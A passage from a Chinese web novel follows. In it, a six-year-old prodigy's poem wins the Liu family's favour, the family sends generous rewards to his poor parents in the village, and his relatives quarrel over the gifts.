万般皆下品,惟有读书高。 王管事细细咀嚼,他也是读书人,哪能看不出这首诗的价值。 又是一首出县级别的佳作。 “这卢璘果真是天生的读书种子不成,第一天去学堂,作诗信手拈来。” 王管事脑海里,不由自主地浮现出老爷那天说过的话。 “若他真是那块璞玉,无需我们雕琢,自己也能绽放光华。” 真是……锥立囊中,其末立见。 第23章 老爷的法子。 不过半个时辰,卢璘在静心堂作诗的消息,便插上了翅膀,飞遍了柳府的每一个角落。 绣楼之内,熏香袅袅。 大小姐柳清月正临窗而坐,手里却没拿那本《清平山志异》,而是在一张雪白的宣纸上,用小楷一笔一划地写着什么。 墨香提着裙摆,一脸兴奋地跑了进来。 “小姐,小姐!那个卢璘,他又……” 柳清月抬起头,清亮的眸子里没有太多惊讶,只是将笔下刚刚写完的两个字,轻轻推到了墨香面前。 《劝学》。 墨香凑过去一看,纸上写的,正是那首诗。 “天子重英豪,文章教尔曹。” “万般皆下品,惟有读书高。” 墨香忍不住小声念了出来,随即惊呼道。 “小姐您都知道了?” 柳清月没有回答,只是伸出纤纤玉指,点了点桌上另一张写满了字的纸。 那上面誊抄的,是《游子吟》。 一首,是慈母手中线,游子身上衣的孺慕之情。 另一首,却是万般皆下品,惟有读书高的勃勃野心。 两首诗,两种截然不同的心境。 一个温情脉脉,知恩图报。 一个锋芒毕露,直指青云。 这两面,居然会同时出现在同一个人身上,而且不让人觉得矛盾。 墨香可想不了那么多,她看着两首诗,只觉得自家小姐看得透彻,随即满眼都是小星星。 “小姐,你说这卢璘,他……他该不会是天上的文曲星下凡吧?” …… 清心园。 主屋内。 林氏听完下人的回禀,脸上的笑意再也藏不住,眼角眉梢都带着喜气。 “好,好一个‘惟有读书高’!” “看看卢璘的觉悟,再看看你的宝贝儿子。天天找借口不读书!” 老爷没有和夫人斗嘴的兴致,关注点全在这首劝学上。 他关注的,不是这首诗本身。 而是这首诗带来的影响。 “我刚听下人说,今天静心堂里,那几个旁支的孩子,听完这首诗,当场就有两个开了窍,好几个都进入了【早慧】的状态。” “光是这第一次诵读,就为我柳家,平白增添了好几颗读书的种子。” “夫人,这才是这首诗,真正的价值所在啊。” 林氏微微一愣,随即也明白了其中的分量。 这简直是天大的幸事。 老爷沉吟片刻,忽然站起身。 “不行,这件事,我得立刻修书一封,告知父亲。” 林氏微微诧异:“老爷?为这点小事,就要去信惊动公公?” 自家公公可是在京中身居要职的朝堂大员,等闲之事,根本入不了他的眼。 老爷重新坐下,耐心地开口解释: “这可不是小事。” “再者,也好久没给父亲写信问安了。” “正好,把这个好消息,一并捎过去。” 林氏点了点头,忽然又想起了另一件事,秀眉微蹙。 “老爷,那……这卢璘,我们又该如何赏赐?” “上次的冰沙,还没赏,这次又立了新功。” 柳老爷闻言,却是笑了。 他看着妻子,不答反问。 “夫人,你可知这卢璘的父母,如今身在何处?” “下河村啊。” “我们何不走他父母那条路?” 林氏的眼睛,倏地一下亮了起来。 对啊! 赏赐一个六岁的孩子,金银他守不住,名声又怕捧杀了他。 可若是将这份恩赏,落到他父母的身上,既能改善他家中的窘境,又能让他感念柳家的恩德。 这才是真正的两全其美之策。 “老爷英明!” 林氏脸上的愁云一扫而空,立刻站起身,朝着门外喊道。 “来人!” “去把王管事给我叫来!” ............ 与此同时 下河村 天边才刚刚泛起一抹鱼肚白,几声零星的鸡鸣,划破了清晨的宁静。 卢厚扛着个锄头一瘸一拐地从卢家小院里走了出来。 身上穿着打满补丁的粗布短褂,一条腿的膝盖处,渗着暗红色的血迹,那是昨夜刚刚换过药的伤口。 腿上的伤,还没有好利索。 可地里的活,不等人。 村里的小路上,已经有了三三两两的人影,都是些扛着农具,睡眼惺忪的庄稼汉。 一个刚从自家院里出来的妇人,看到卢厚的身影,忍不住叹了口气。 “卢家老二,你这腿还没好利索,怎么就下地了。” 卢厚憨厚一笑,没有说话,继续往前走。 另一个叼着旱烟杆的汉子听到他们的对话,也走了过来。 “还能为啥。” “他家老爷子心都偏到胳肢窝去了。” “大房那个读书读了快半辈子,掏空了家底,连个秀才的边都没摸到。” “老幺又是心头肉,碰不得说不得。” “这不,里里外外的担子,全压在老二这个老实人身上了。” 这话一出,周围几个早起的村民,都露出了心照不宣的神色。 卢家的事,在下河村早就不是秘密了。 最先开口的那个妇人,又叹了口气,眼神里带着几分同情。 “真是操劳的命。” 旁边一个村民闻言却嗤笑一声。 “卢老二这辈子没这个享福的命啊!” “好不容易生出个读书种子,有什么用?” “还不是说卖就卖了。” 他故意提高了嗓门,斜着眼睛瞟向卢厚那蹒跚的背影。 “进了那富贵人家,高床软枕,锦衣玉食,哪里还记得乡下有个瘸腿的爹。” “我看啊,还不如我家二虎呢。” “虽然笨是笨了点,可至少在跟前,往后有个头疼脑热,还能指望他端碗水。” 这话戳中了不少人的心窝子。 是啊。 儿子再有出息,不在身边,那也是镜中花,水中月,看得见,摸不着。 “可不是嘛,那柳家是什么门第,进去当个下人,还能再出来?” “怕是早就乐不思蜀了。” 一阵哄笑声,在清晨的薄雾里传开。 卢厚走在前面,对身后那些议论充耳不闻。 没有回头,只是默默加快了脚步。 第24章 又来了? 正午的毒日头,将下河村的土路烤得龟裂。 卢家小院里,唯一一张用了几十年的八仙桌被搬到了唯一有点阴凉的屋檐下。 一家十口人,围着桌子等着吃午饭。 卢老爷坐在上手埋着头,吧嗒吧嗒地抽着旱烟,烟雾缭绕。 李氏拉着女儿石头眼巴巴的等着饭菜端上来。 说是饭菜,其实就是水煮放盐或者清蒸放盐,主食是杂粮掺着野菜做的窝窝头,以及杂粮粥。 而且饭菜是定量的,这个量由祖母来决定。 男人都是两个窝窝头,女人和小孩只有一个,粥也有区别,男的浓稠,女的和小孩大多汤汤水水。 不一会,一口大锅端了上来。 锅里是稀得能照见人影的杂粮粥,几根蔫头巴脑的野菜在里面无力地漂浮着。 旁边,还有一小碟黑乎乎的咸菜。 唯一能见点油星的,是桌子正中央那一小盘炒鸡蛋。 金黄的鸡蛋碎被切得细细的葱花包裹着,看着诱人,可那分量,也只够每人尝一筷子。 祖母拿起长柄的木勺,在锅里搅了搅,先给大伯盛了满满一碗。 碗里的粥,堆得冒了尖。 “老大,你读书费脑子,多吃点。” 大伯点了点头,心安理得地接了过去。 轮到卢厚时,祖母手里的勺子只是在锅边浅浅一捞,半勺清汤寡水倒进了碗里。 虽然也是稠的,但比起大伯那碗就相差得多了。 李氏看着丈夫碗里那点可怜的吃食,忍不住开口: “娘,我家男人腿伤还没好利索,白天又在地里干了一上午的活,您多给盛点,他才有力气。” 祖母瞪了一眼,又用木勺在锅里搅了一下,添了一点,看上去才好了一些。 但这个做法,却让大伯有些不悦,饭也没着急吃,放下了筷子。 “二弟妹,你这也太不懂事了,粥总归就这一些,你多吃了,三弟三弟妹是不是要少吃?” 见李氏目光放在自己面前的碗里,大伯又连忙解释: “别看我啊,我读书费的是脑力,比下地干活辛苦多了。” “咱家穷了几代,就指望着我这个读书人考上秀才,光宗耀祖呢。” 祖母用木勺敲了敲锅,打断了想要反驳的李氏。 “老二家的,操持一个家不容易,老大要读书,你就体谅一下。” 李氏的嘴唇动了动,最终还是把话咽了回去,默默地低下了头。 分好了食物,卢老爷放下烟,准备吃饭。 他动了第一下筷子,卢家其他人才开始午饭。 卢璘妹妹小石头,一边喝着稀粥,一边嘴馋盯着那盘炒鸡蛋,诱人的油香,让小石头下意识的咽口水。 眼馋着盯了好一会,小石头终于忍不住,小心翼翼地伸出自己的小筷子。 筷子才刚刚接触到炒鸡蛋。 “啪!”的一声。 一根筷子狠狠地敲在了她的小手上。 “小丫头嘴馋什么。” “这鸡蛋是你堂哥吃的,他在蒙学念书,得补补脑子,你还小,别沾荤腥。” 说完,祖母又转头看向李氏:“没大没小,孩子都教不好。” 石头的眼圈瞬间就红了,泪珠在眼眶里打转,却不敢掉下来,只能眼巴巴地望着那盘近在咫尺的鸡蛋。 李氏心里委屈,她刚才正把碗里的粥匀给卢厚,一下没看住小石头。 没有开口反驳,李氏连忙将女儿揽进怀里,柔声哄着。 “石头乖,吃饭,娘给你夹咸菜。” 在一旁哄着儿子吃饭的大伯母放下碗,开口说道: “二弟妹,娘也不是偏心,璘儿在的时候,哪次不会分鸡蛋给他呀,小石头还小,这个时候沾荤腥确实不太好。” “而且读书费脑子你们又不是不知道,这几天下来,我家观儿人都瘦了。” 李氏瞅了一眼连吃饭都要被人哄着的卢观,默默的叹了口气。 这时,一直没说话的三婶笑了一声。 “哎,要是璘儿还在就好了,咱们家就有指望了。” “那么小就能作诗,又有孝心,村里人都说那是天上的文曲星下凡呢。” 三婶这话一出,大伯一下就不高兴了。 什么时候一个小娃娃成了家里的指望? 自己才是卢家翻身的希望。 大伯冷笑一声,满脸不屑。 “璘儿才到哪儿啊。” “他能有今天,靠的是谁?还不是我这个大伯整天在家里读书,耳濡目染教出来的。” “再说了,璘儿就是再好,现在都已经卖给柳家了,十年后是什么光景,还认不认咱们这些亲戚都不知道呢。” 话音刚落,李氏一下就被点着了。 “你放屁,璘儿这么有孝心,怎么可能不认爹娘。” 大伯母轻笑一声: “还真说不定,戏里不都这样演的吗?” ...... 一直沉默的卢老爷,听到又要发生争吵,猛地将烟杆在桌上重重一磕。 “吵什么吵!” 卢老爷粗声喝断了所有声音。 “还嫌不够丢人吗!” 卢老爷一想到这些天,村里人看他的眼神中毫不掩饰的嘲笑,以及那些风凉话说他卢家有眼无珠之类。 那戳心窝子的话,让他脸上火辣辣的。 好些天都没怎么出门。 一时间,饭桌上只剩下咀嚼窝窝头的声音。 一顿饭的时间过得也快,就在吃的差不多的时候。 提前吃完饭跑出去玩的卢观迈着小短腿跑了过来。 “爷,奶,那个……上次那个柳家的管事又来了!” “什么?” 一桌子人,齐刷刷地抬起了头。 大伯母最先反应过来,皱起眉头,一脸不悦。 “这才去了几天啊,怎么就找上门来了?” “别不是咱们的璘儿在柳家闯了什么大祸,人家要把人给退回来了吧?” 其他人还没反应,三叔一下就慌了。 “退回来?那……那可怎么办?” “那五两银子,早就交了摊派,剩下的也被老大拿去游学了,哪还有钱退给人家!” “再说了,哪有签了卖身契还能退回来的道理,这柳家也太欺负人了!” 李氏听到退回来三个字,下意识的高兴。 儿子能回来了? 可这高兴的劲还没过去,就被三叔那句五两银子给砸得粉碎。 是啊,真要退回来,这五两银子可怎么办? 家里能掏出个几百文就不错了。 第25章 赏赐 只有不谙世事的小石头,听到哥哥的名字,高兴地拍起了小手。 “哥哥要回来了!哥哥要回来了!” 大伯母冷笑一声,对着小石头阴阳怪气地说道。 “傻丫头,你哥哥可不能回来。” “他要是被赶回来了,咱们卢家在下河村的名声,可就彻底臭了!” 一直沉默的卢老爷,脸色已经难看到了极点。 他心里也七上八下的,生怕真是卢璘在外面惹了祸,要波及家里。 可他是一家之主。 不管是什么情况,都得他出去顶着。 将手里的旱烟杆往桌上重重一放,站起身。 “都别嚎了!” “出去看看!” 卢老爷一马当先,一瘸一拐的卢厚紧随其后,李氏抱着女儿,和其他人也连忙跟了出去。 一家人怀着惴惴不安的心情,走到了院子门口。 一到院子里,卢家一群人就看到王管事站在院外。 他身后,跟着一溜排的柳家家丁,个个穿着崭新的短打,精神抖擞,人数竟比上次来的时候还要多上一倍。 看这阵仗,卢家人第一反应就是来问罪的。 李氏的心瞬间沉到了谷底。 她看着王管事那张面无表情的脸,看着他身后那些高大的家丁,腿肚子都开始打战。 她脑子里只有一个念头。 完了,真是儿子闯祸了。 下一刻,她也顾不上害怕,踉跄着冲上前去,挡在了丈夫和公公面前。 李氏对着王管事,深深地弯下了腰。 “王管事,我们家璘儿……他还小。” “他不懂那些高门大户的规矩,要是有什么冒犯的地方,都是我们做爹娘的没教好。” “可他真是个好孩子,求求您,求求您多担当一些,别跟他一个孩子计较……” 正准备开口说明来意的王管事,被这突如其来的一幕,弄得愣在了当场。 这时,因为腿伤慢了一步的卢厚也走了过来,双腿一弯,看这架势就准备跪下了。 ............ 王管事这一趟的动静,比上次大了不止一星半点。 浩浩荡荡的队伍,惊动了半个下河村。 一些正在田间地头忙活的村民,纷纷直起腰,伸长了脖子往村口瞧。 “怎么回事?柳家的人又来了?” “这阵仗,怕不是来找麻烦的吧。” 其他闲着的村民被这个阵仗吸引,三三两两地朝着卢家小院的方向凑了过去。 一时间,本就狭窄的土路,被看热闹的人堵得水泄不通。 他们一个个站在卢家那圈低矮的土墙外,交头接耳,指指点点。 有些来得晚的村民一来,就看到眼前李氏向柳家管事下跪的一幕,顿时炸开了锅。 “哎哟,真要跪下了啊!” “我就说吧,那野小子能懂什么规矩,这才几天,就让人家找上门来了。” 几个平日里跟卢家磨蹭的汉子,此刻更是幸灾乐祸。 “这卢家的家风,本来就不正,能教出什么好孩子来。” “我早上就说了,卢家就一辈子这个命,还想翻身?” ....... 王管事终于反应了过来,他连忙上前两步,双手去扶卢厚。 开什么玩笑。 这可是卢璘少爷的亲爹亲娘。 就凭卢璘现在表现出来的天赋,将来封侯拜相都不是没可能。 这要是考个状元回来,亲娘就是板上钉钉的诰命夫人。 自己哪受得起她一跪。 “哥哥嫂嫂,快起来,使不得,使不得啊!” 王管事急得额头都见了汗。 “误会了,天大的误会!” “卢璘在府里好着呢,好得不能再好了!” 李氏被他扶起来,脸上还挂着泪,一脸的茫然。 好着呢? 那这是什么阵仗? 卢厚也没看懂,被王管事搀扶着愣在原地。 站在后方的大伯母小声嘀咕了一句。 “什么好着呢,我看他就是故意吓唬人,好逼着咱们家把那五两银子吐出来。” 这话一出,卢家其他人心里都是咯噔一下。 对啊。 这套说辞,他们反倒觉得更可信一些。 卢老爷的脸色阴沉,用烟杆捅了捅身旁的大儿子。 “老大,你去说,好好说一下。” 这个时候,卢老爷只能指望老大读书人的身份,能让对方卖个面子。 大伯硬着头皮,整了整身上那件洗得发白的旧长衫,走到了王管事面前。 “王管事,我侄儿年幼无知,若真在府上惹了祸,我们认。” “人,你们退回来也行。” “但那五两银子,是万万不能退的。” 说到这里,他眼珠子一转,指了指自己儿子。 “实在不行,让我家观儿去顶上,他比我家侄子更稳重一些。” 王管事听到这里,算是彻底明白了。 合着这一家子,是怕卢璘惹事,柳家上门来退人要钱的。 他心里顿时涌上一股说不出的味道。 可就是这种人家,居然能生出卢璘这种人。 上哪说理去。 看着卢安指着的还在冒着鼻涕泡的儿子,王管事暗自发笑。 拿你儿子换读书种子,你也敢想。 还是说卢家是因为后悔卖了卢璘才整出这么一套说辞。 一时间,王管事也有些摸不准了。 好在知道误会在哪里,王管事收敛了心神,脸上换上一副郑重的表情,扶稳了卢厚后,对着李氏以及卢厚深深一躬。 “哥哥,嫂嫂,你们可是生了个好儿子啊。” 这一声“好儿子”,让两人又是一愣。 王管事直起身,把卢璘来到柳府这些日子的事细细道来。 总结起来就两件大事。 “卢璘在府里夏日制冰,为我家少爷解了暑气,此乃大功一件。” 夏日制冰? 大夏天的,卢家老二的小子,还有能制冰的手段? 连柳家人当初都被卢璘这一手操作震惊到了,更别说下河村的乡野村夫了。 院内院外,所有人都听得一头雾水。 王管事没有理会众人的反应,声音又提高了几分。 “此乃其一,其二则是卢璘在静心堂,当着夫子的面,自创一首《劝学》诗,引得堂上所有学童开悟,这又是大功一件。” “主母说了,卢璘有此等才华,都是你们做父母的教导有方,特意命我前来,送上赏赐。” 赏赐? 合着这么大的动静,不是来退人的。 是来送赏赐的。 第26章 卢老爷腰杆子直了。 王管事看着众人那副呆若木鸡的模样,转过身,对着身后的家丁一挥手。 “去,把主母的赏赐,都给卢家搬进去!” 一声令下,身后的家丁们立刻动了起来。 两个家丁合力,抬着一个沉甸甸的大麻袋,走进了院子。 麻袋口子敞开着,露出里面雪白细腻,粒粒分明的白粳米。 这可不是他们平日里吃的那些混着沙石的糙米,是富贵人家才吃得起的上等白米。 紧接着,是第二袋,第三袋…… 足足五大袋精米,在院子中央堆成了一座小山。 还没等众人从震惊中回过神来。 又有家丁抬着两个半人高的陶坛走了进来,盖子一掀开,一股浓郁的清油香气,瞬间弥漫了整个院子。 一整扇肥瘦相间,还带着新鲜血色的猪肉被抬了进来。 还有几只被捆住了脚,还在咯咯叫的肥鸡。 围观的村民们,眼睛都看直了。 这世道,能吃饱肚子就不错了,谁家不是糙米就着野菜,对付对付算了。 何曾见过这些白花花的上等货色。 而卢家其他人更是呼吸加重,看着柳家下人们把东西一件件地往小院里搬,眼珠子都快瞪出来。 大伯母死死地盯着那扇猪肉,喉咙里发出了咕咚一声吞咽口水的声音。 赏赐还没有结束。 几个家丁又抬进来一个樟木箱子。 箱子打开,里面是几匹叠得整整齐齐的布料。 有给男人做短褂的青色细棉布,有给女人做衣裳的花色棉布,最上面,赫然是一匹在阳光下流淌着光泽的丝绸。 小院外,一个粗糙的嗓音突然响起: “这是湖州丝绸,我前些日子去县里最大的成衣铺子听店里的小二说过,一匹就要上百两银子。” 此话一出,小院外的村民们一个个眼睛都值了。 “我的亲娘诶,这什么丝绸是金子做的不成,一匹就能抵咱十几年的的吃喝。” “这卢老二家的小子,是立了多大的功啊,柳家这也太舍得了!” ....... 小院内,三婶连忙走到搬布匹的家丁前,想从对方手上接过。 可家丁来之前就得了王管事的吩咐,没有把最贵重的布匹交给三婶,安静地站在王管事身后。 看样子打算亲手交给李氏。 三婶手尴尬地伸在半空,最后还是李氏开口说:“三弟妹,别急,先听王管事怎么说,你放心少不了你的那份。” 三婶闻言,嘿嘿一笑,乖巧地站在李氏身后。 人群后方的大伯母酸得牙齿都快咬碎了,恨自己怎么没有快三婶一步。 等柳家家丁陆陆续续地把赏赐搬完了。 王管事又从怀里,掏出了一个用红布包裹的东西。 红布掀开,里面是码得整整齐齐的一摞银锭。 “这是主母特意赏的五十两纹银,给嫂嫂添置些家用。” 五十两。 白花花的银子,在太阳底下,晃得人睁不开眼。 整个下河村,哪户人家,能一口气拿出几两现银都已经是富裕人家了。 更别说五十两了。 不过有湖州布匹在前,这五十两给众人的冲击,倒没之前那么大。 不过也让众人彻彻底底的明白了。 卢家这是要过上好日子了啊! 尤其是卢老二和李氏,生了卢璘这么个有出息的儿子,真的要翻身了。 王管事等众人的议论声慢慢降下来,才又对李氏开口: “嫂嫂,主母还说了,你和卢家哥哥安心在家养好身子,想卢璘了随时招呼一声,派人来村里接你们回府,住多久都没关系。” 李氏闻言,眼泪终于夺眶而出。 只是这一次,不再是恐惧和委屈。 是喜悦,是骄傲,是扬眉吐气。 小院里堆着的粮油米面,手上沉甸甸的银子。 一桩桩,一件件都在告诉她,自己儿子,真的出息了。 而这时,一直没有存在感的大伯开口打断了李氏。 “王管事,您看,都是我卢家的孙子。” “我家长子卢观,还年长璘儿两岁,平时也都是跟着我读书,耳濡目染,稳重得很。” “不如这次过来,把卢观一并带过去,给璘儿做个伴,兄弟俩也好有个照应。” 大伯打得一手好算盘,以为柳府人傻钱多,想着把自己儿子送过去,说不定日后也能得些赏赐。 王管事闻言则是心里一阵发笑。 跟着你读书? 你连个秀才的边都没摸到,还想教出卢璘这种天纵奇才? 真是癞蛤蟆想吃天鹅肉。 不过脸上却依旧挂着客气的笑容,没有直接揭穿。 “府里的人手安排,都是主母说了算,我一个下人,可做不了主。” 这番话说得滴水不漏,既拒绝了大伯,又全了卢家的面子。 卢老爷总算反应了过来,连忙上前一步,对着王管事拱了拱手。 “王管事一路辛苦,不如进屋喝口茶,歇歇脚再走。” 王管事摆了摆手。 “不了不了,府里还有一堆事等着我回去处理,就不多留了。” 他今天的任务就是给卢家送来赏赐,任务完成了,没有逗留的必要。 说着,从怀里取出一张写着地址的纸条,绕过卢老爷和大伯,亲手递到了李氏和卢厚面前。 “哥哥,嫂嫂,这是府上的地址。” “主母说了,你们若是想孩子了,随时可以写信过来,我派人来接你们去府里小住。” 说完,王管事再不逗留,对着众人一抱拳,转身便带着家丁们浩浩荡荡地离开了。 王管事一行人前脚刚走,一直堵在院外的村民们,后脚就按捺不住,嗡的一声涌了进来。 整个卢家小院,瞬间被围得水泄不通。 “哎哟,卢老爷子,我就说嘛,您老人家洪福齐天!” “二郎也是个有福气的,生了这么个好儿子!” “可不是嘛,李氏妹子,你这下可算是苦尽甘来了!” ......... 一张张堆满笑容的脸,一句句热情洋溢的奉承,把卢老爷捧得五迷三道的。 好像前些日子说卢家有眼无珠的不是他们一样。 之前那个说卢璘进了富贵窝就忘了爹娘的汉子,此刻正挤在最前面,满脸都是讨好的笑。 “卢家二哥,你看看,我就说璘儿那孩子有出息,错不了的!” 卢厚虽然忠厚老实,但听着这些话,心里门儿清。 无非是看卢家日子好过了,往后说不定有能救济他们的时候。 卢老爷也清楚乡里乡亲的秉性,恨人有,笑人无,惯得捧高踩低。 前几天还戳着他的脊梁骨看笑话,今天就舔着脸凑上来巴结了。 虽然心里不屑,但这种被人高高捧着,扬眉吐气的感觉,确实舒坦。 他挺直了腰杆,清了清嗓子,刚想当着众人的面,说几句场面话。 可话到嘴边,眼角的余光瞥见院子里堆成小山的赏赐,又硬生生地咽了回去。 这些东西,是柳家指名道姓赏给二房的。 他这个做爹的,还没资格替人家夸这个海口。 人群又喧闹了好一阵,见卢家人没什么表示,这才三三两两地散去了。 等人走干净了。 卢老爷将手里的旱烟杆在门槛上重重一磕,扫视了一圈院子里的家人。 “都别在外面杵着了,先把东西给搬进去,仔细点,别弄坏了。” “关上门,进屋说话。” 第27章 父母为子女计,为之深远。 一家人七手八脚,将那些沉甸甸的米袋、油坛、肉和布料,一件件搬进了昏暗的堂屋。 东西堆在地上,像一座小山。 搬完了东西,屋里一下就静了下来。 没人说话,大家伙的目光全都放在堆成小山的东西上。 尽管目光都在一处,但却心思各异。 那五大袋白花花的粳米,那两大坛清亮亮的食油,那一大扇肥瘦相间的猪肉,都是一家人嚼用,没什么好争的。 唯独那匹在昏暗光线下,依旧流淌着水一般光泽的湖州丝绸,只有一匹。 大伯的眼睛在上面瞟了一下,不动声色地给大伯母递了个眼色。 大伯母立刻心领神会。 她清了清嗓子,脸上挤出笑容,凑到祖母身边。 “娘,您瞧,这下可好了。” “等过几日,咱们家老大要去县里游学,正愁没有一身像样的衣裳。” “书上说人靠衣装,他穿着这身去,指不定就能得哪位同窗的恩师高看一眼,往后这县试,不就多了几分把握?” “而且有了璘儿带回来的这些公中嚼用,老大也能更安心地读书了。” 一句公中嚼用,就想把所有赏赐的归属权,轻飘飘地定下来。 三婶的脸色瞬间就变了。 她哪里听不出大房这是盯上了最值钱的那匹丝绸。 之前二嫂可是亲口答应了,得了好处会有她一份,这要是让大房把丝绸拿走,自己岂不是半根毛都捞不到。 三婶一下就急了,立马接上了大伯母的话: “大嫂这话说的,县试靠的是肚子里的墨水,什么时候变成靠衣裳了?” “要是穿身好衣服就能考中,那咱们砸锅卖铁,也给大哥置办一身绫罗绸缎啊。” 大伯母的脸瞬间就拉了下来。 “三弟妹,你懂什么!” “这叫体面!我们卢家就出了大哥这一个读书人,他出去,代表的就是我们卢家的脸面!” “你三房也没个读书人,懂什么!” “我再不懂,也知道读书人要有风骨,不是靠这些虚头巴脑的东西!” 眼看着两人就要吵起来,卢老爷脸上的皱纹拧成了一个疙瘩。 这赏赐,毕竟是因为二房的璘儿才有的。 而且看柳家这架势,璘儿往后的前途不差。 现在就为了这点东西闹得鸡飞狗跳,实在是不像话。 他目光一转,落在了从始至终都沉默不语的卢厚和李氏身上。 “老二,老二家的,你们说呢?” 赏赐是儿子挣回来的,但毕竟没有分家,李氏也没打算争抢。 而且这个时候越是争抢,越是落了下乘。 她拉了拉丈夫的衣袖,主动上前一步,对着公公和婆婆低下了头。 “爹,娘,这事您二老做主就行。” 在这样的大家庭里,大家长一言而决,是再正常不过的事情。 李氏的退让,让卢老爷的脸色好看了几分。 他沉吟了片刻,这才缓缓开口: “老大是咱家的读书人,是脸面,一身好衣裳是该有的。” “老二和老二家的,往后免不了要去柳家看望璘儿,也不能穿得太寒酸,丢了璘儿的脸。” “这匹丝绸,就拿去做三身衣裳吧。” 他这话一出,就等于是定了调子。 大房一套,二房两套。 至于三房,连提都没提。 这话说完,三婶的脸当场就垮了下来。 合着分完下来,自己真就一根毛都没捞着。 气急之下,话不经脑子就脱口而出: “爹,您这也太偏心了。” “咱家的脸面啥时候是大哥这个读书人撑起来的,读了这么多年书,秀才的边都没碰着。” “反倒不如璘儿去柳家这几天,就给家里挣下这么大的家业。” 大伯母一听,当场就炸了,一屁股坐在地上,拍着大腿就开始哭嚎。 “你个黑心肝的烂货!你这是咒我男人考不上秀才!” “没法活了啊!这日子没法过了啊!一家子都盼着我们家不好啊!” 屋子里瞬间又乱成了一锅粥。 就在这时。 一道沉稳的声音突然响了起来。 “都别吵了。” 一向忠厚老实,任打任骂的卢厚,居然破天荒地开了口。 所有人都愣住了,齐刷刷地看向他。 连大伯母都顾不上哀嚎,转头看向了卢厚。 难不成这个二叔又临时变卦了? 那岂不是一身衣服都捞不着了? 卢厚一瘸一拐地走到堂屋中央,缓缓开口。 “爹,娘,大哥,三弟。” “柳家赏赐的东西,都交给家里,我跟孩子他娘,没有半点意见。” “但是,有件事咱们得想清楚。” “今天柳家来送赏赐,动静这么大,村里人都看见了,也都知道我们家现在光景不一样了。” “咱们往后,还要在这村里过日子。” “璘儿的名声,比这些东西更重要。” “咱们不能自己关上门来过好日子,让人在背后戳璘儿的脊梁骨,说他富贵了就忘了本。” 卢老爷闻言,若有所思,开口道:“那老二你的意思是?” 卢厚接过话茬,继续解释: “我的意思是,拿出一些米面和油,给村里那些实在过不下去的人家,送一些过去。” “不多,一家给个几斤米,半斤油就行。” “也算是,替咱们璘儿,积个福,攒个好名声。” 卢厚这番话,让在场所有人都愣住了。 李氏惊讶地望着自家男人,难以想象这番话居然是从他口中说出来的。 这还是自己那个三棍子打不出个闷屁的丈夫吗? 平日里不争不抢,吃了亏受了委屈,只会吞进肚子里,连被人打断了腿也一声不吭。 在事关儿子未来上面据理力争。 卢老爷也有些惊讶地看着老实巴交的二儿子。 好事啊! 这是天大的好事! “老二说得对!就该这么办!”卢老爷一拍大腿,当即答应了卢厚的提议。 可大伯母却不乐意了,她从地上爬起来,满脸不情愿。 “这……咱们自家的好日子还没过上呢,怎么就想着往外送了?” “咱家没米下锅的时候,也不见他们来救济。” “前些日子,村里传的那些风凉话,你们一个个都忘了是吧?” “住口!” 卢老爷猛地一声呵斥,吓得大伯母一个哆嗦。 “你个头发长见识短的妇道人家,懂个屁!” “璘儿以后是有大出息的人!咱们在家里帮不上他什么,但绝对不能在背后拖他的后腿!” 大伯母被骂得不敢再出声,只能低下头,心里却恨恨嘀咕。 能有什么大出息。 不过是走了狗屎运,得了贵人青睐罢了。 说不定哪天惹恼了人家,还不是被打回原形。 第28章 柳太爷回信。 柳府 秋意渐浓,傍晚的清心园内染上了一层浅淡的金边。 王管事垂手站在林氏面前,正一丝不苟地汇报着府里入秋的各项用度。 “夫人,采买冬衣的布料,储备过冬的炭火,各处下人的嚼用,账目都已经核算清楚了。” 林氏端起茶碗,轻轻拨动着浮叶,点了点头。 王管事是她从娘家带过来的,王家几代人都服侍她,这点小事林氏一向不多过问。 “眼瞅着马上入秋了,制冰的店铺盘下来会不会太早,府里章程也没拿出来。” “这事不急。”林氏不疾不徐。 这事还没有和卢璘这孩子通气,再说也马上入秋了,时间上来得及。 “去下河村的事,办得如何了?” “都办妥了。” “卢璘父母,都是老实本分的,一见到我们,还以为是卢璘在府里闯了祸,吓得当场就要下跪。” “等说明了来意,把您的赏赐一件件搬出来,她才敢相信,抱着那些米面布匹,哭得跟个泪人似的,一个劲儿地念叨着主母您的好。” 林氏的嘴角,勾起一抹淡淡的笑意。 王管事说完,却有些迟疑,忍不住问了一句。 “主母,小的有一事不明。” “这么大的恩赏,为何不让咱们直接告诉卢璘呢?” “也好让他知道,主家待他,是何等的看重。” 林氏放下了茶碗,抬起眼,慢悠悠地开口道: “你觉得,是我们告诉他,柳家赏了他父母多少东西,他心中感触会更深?” “还是等他父母哪天上门,亲口告诉他,家里因为他,日子过得有多好,对他的触动更大?” 王管事微微一愣,瞬间就明白了其中的关窍。 是啊。 柳家说一万句,也不及他父母亲口说一句。 前者是施恩。 后者,是能让那孩子记一辈子的天大恩情。 这份恩,会记得更牢,更深。 “主母高明!”王管事发自肺腑献上一记彩虹屁。 林氏不置可否地笑了笑,又端起了茶碗。 王管事见状,想起另一件事,连忙又开了口。 “对了,主母。” “还有一件事,是卢璘少爷之前私下托我办的。” “他让我去查一查,他父亲前段时间来县里,为何会平白无故被人打断了腿。” 林氏端着茶碗的手微微一顿。 “哦?” “怎么回事,他父亲得罪了什么人?” 王管事脸上露出一丝不屑和鄙夷。 “得罪人倒谈不上,是被自家人给坑了。” 他将打听来的事情,一五一十地细细道来。 “原来是卢璘的大伯,在外面借了印子钱,胆小不敢写自己的名字,就偷偷写了他爹卢厚的名字。” “后来还不上钱,那些放印子钱的泼皮,在县里见到了卢璘他爹,把他爹的腿给打断了。” 王管事说到这里,忍不住摇了摇头。 “小的也打听过了,卢璘的父母,都是村里出了名的老实人,本本分分,从不与人争执。” “偏偏他那个大伯,惯会钻营取巧,书读了十几年,连个秀才的边都没摸到,整日里游手好闲,就知道压榨自家兄弟。” “真是想不通,那样的泥潭里,怎么就生出了卢璘这么一株好苗子。” 林氏听完,秀眉微蹙,眼中闪过一丝了然。 “穷山恶水,未必不能出真龙。” “只是这家人,往后怕是会成为璘儿的拖累。” 王管事点点头,不再多言。 他将府里的账册恭敬地呈上,便躬身退了出去。 王管事刚走没多久,柳老爷便从外面回来了。 林氏见他回来,脸上刚要露出笑意,却发现丈夫的神色有些不对。 脸上没有了往日的从容淡定,一副愁眉苦脸的样子。 “老爷,怎么了?” 老爷没有立刻回答,只是走到桌边坐下,从怀里,摸出了一封信。 “父亲来信了。” 林氏闻言更加疑惑,公公来信了,怎么丈夫这个表情。 家里出了好事,不说夸奖,总不会挨一顿骂吧? 